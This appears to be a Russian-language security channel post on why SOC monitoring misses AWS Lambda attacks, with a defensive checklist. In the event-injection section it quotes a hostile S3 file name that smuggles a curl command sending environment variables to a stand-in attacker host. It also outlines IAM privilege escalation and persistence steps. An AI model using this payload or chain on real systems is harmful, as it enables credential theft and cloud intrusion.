47 Lambda-функций и ни одного алерта: почему SOC не видит serverless-атаки
Представьте: утёкший access key на GitHub, понедельник утро, и через полтора часа пентестер уже читает production-таблицу с платёжными данными 200 тысяч клиентов. CloudTrail работает, но ни одного алерта на serverless-специфичные TTPs. Функция отработала за миллисекунды и исчезла вместе с контейнером. Расследовать нечего.
Это реальная ситуация с cloud-пентеста в начале 2025 года. И она хорошо показывает главную проблему serverless-безопасности — классические средства мониторинга просто не заточены под эфемерные вычисления.
🔥
Три вектора, которые стоит знать
•
Event injection — отравление триггеров. Lambda обрабатывает файл из S3 и подставляет имя объекта в
os.system(). Атакующий загружает файл с именем вроде
; curl attacker.com/exfil?d=$(env)#.csv — и переменные окружения с IAM-токенами утекают за одно исполнение. Одно. Миллисекунды. Причём WAF тут не спасёт: он защищает HTTP-уровень через API Gateway, но event injection через SQS или SNS идёт в обход — payload лезет через окно, пока WAF сторожит дверь.
•
Privilege escalation через IAM-роли. Если у атакующего есть
iam:PassRole и
lambda:UpdateFunctionCode, он может подменить код существующей функции и привязать к ней роль с широкими правами. На пентесте 12 из 47 функций имели execution role с
Action: "*" на S3 и DynamoDB. Это не edge-case, а типичная картина — разработчики назначают максимальные права «чтобы работало» и забывают ужать.
•
Persistence через триггеры. Атакующий создаёт EventBridge-правило, которое вызывает вредоносную функцию при каждом создании IAM-пользователя или загрузке файла. Lambda как эфемерный C2-сервер: получает команды, передаёт на скомпрометированные хосты, завершается. Следов в файловой системе нет, потому что файловой системы нет.
📊 По данным Cloud Security Alliance,
более 70% организаций до сих пор не имеют выделенных контролей для serverless-окружений. При этом рынок serverless-безопасности уже перевалил за 12 млрд долларов — деньги вкладываются, но зрелость detection отстаёт на годы.
🛡 Что проверить прямо сейчас:
1. Есть ли в ваших Lambda-функциях вызовы
os.system() или
subprocess с пользовательским вводом?
2. Execution roles — минимальные привилегии или wildcard?
3. Настроены ли алерты на
UpdateFunctionCode и
iam:PassRole в CloudTrail?
В полной статье — разбор конкретных цепочек атак с примерами кода, detection-правилами для SIEM и чек-листом для харденинга.
https://codeby.net/threads/ataki-na-serverless-funktsii-injection-event-poisoning-i-privilege-escalation.93670/
Обсуждение 0
Обсуждение не доступно в веб-версии. Чтобы написать комментарий, перейдите в приложение Telegram.
Обсудить в Telegram